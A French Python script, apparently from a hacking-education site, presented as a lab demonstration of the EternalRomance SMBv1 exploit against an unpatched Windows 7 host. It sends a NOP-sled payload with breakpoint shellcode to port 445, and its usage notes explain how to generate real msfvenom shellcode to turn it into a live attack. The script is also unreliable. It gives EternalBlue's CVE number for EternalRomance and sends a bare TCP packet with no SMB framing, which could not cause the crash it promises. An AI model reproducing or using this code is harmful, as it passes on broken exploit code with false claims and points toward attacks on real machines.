# eternalromance.py - Exploit EternalRomance (CVE-2017-0144) # Simule un buffer overflow SMBv1 pour Windows 7 SP1 # À utiliser UNIQUEMENT dans un lab sécurisé (article 323-1 CP) # Par Platon-Y pour PCtamalou.fr """ Ce script est une démonstration pédagogique de l'exploit EternalRomance. Il envoie un paquet SMBv1 malformé pour déclencher un overflow dans srv.sys. Le shellcode inclus est un breakpoint (int3) pour tester sans danger. Pour un vrai exploit, remplacez le shellcode (ex. : msfvenom). """ from scapy.all import * # Configuration target = "192.168.56.101" # Cible : Windows 7 SP1 port = 445 # Port SMBv1 # Shellcode de test (int3 = breakpoint, provoque un crash visible dans WinDbg) shellcode = b"\xCC\xCC\xCC\xCC" # 4 bytes, simple pour débogage # Construit le payload malveillant payload = ( b"\x00\x00\x00\x90" + # Offset pour aligner l'overflow (padding initial) b"\x90" * 500 + # NOP sled : glissière pour guider vers le shellcode shellcode + # Shellcode : ici, int3 pour tester b"\x90" * 1000 # Padding final pour remplir le buffer ) # Construit le paquet SMB packet = ( IP(dst=target) / # Paquet IP vers la cible TCP(dport=port) / # TCP vers port 445 (SMB) Raw(load=payload) # Payload brut ) # Envoie le paquet try: send(packet, verbose=0) # Envoie sans afficher les détails print(f"[+] Payload EternalRomance envoyé à {target}:{port}") print("[*] Vérifie le crash sur la cible avec WinDbg (BSOD attendu)") except Exception as e: print(f"[!] Erreur : {e}") print("[*] Vérifie que la cible est accessible et SMBv1 actif") # Instructions d'utilisation """ 1. Configure ton lab (voir Étape 1 de index.html) : - Kali : 192.168.56.100 - Windows 7 SP1 : 192.168.56.101, SMBv1 actif, non patché 2. Vérifie SMBv1 sur la cible : sc.exe query lanmanworkstation net start lanmanserver 3. Lance le script : python3 eternalromance.py 4. Analyse le résultat : - WinDbg : kd -kl; !analyze -v - Wireshark : tcp.port == 445 5. Pour un vrai shellcode (ex. : cmd.exe) : msfvenom -p windows/x64/exec CMD=cmd.exe -f raw > shellcode.bin Remplace shellcode dans ce script """ # Avertissement éthique """ Ce script est pour l'apprentissage en lab sécurisé. Toute utilisation hors lab est illégale (7 ans de prison, 100 000 € d’amende). Signe le contrat éthique : /nsa-reverse/contrat_ethique.txt """ # "One shot, one kill : sois précis, sois éthique." - Platon-Y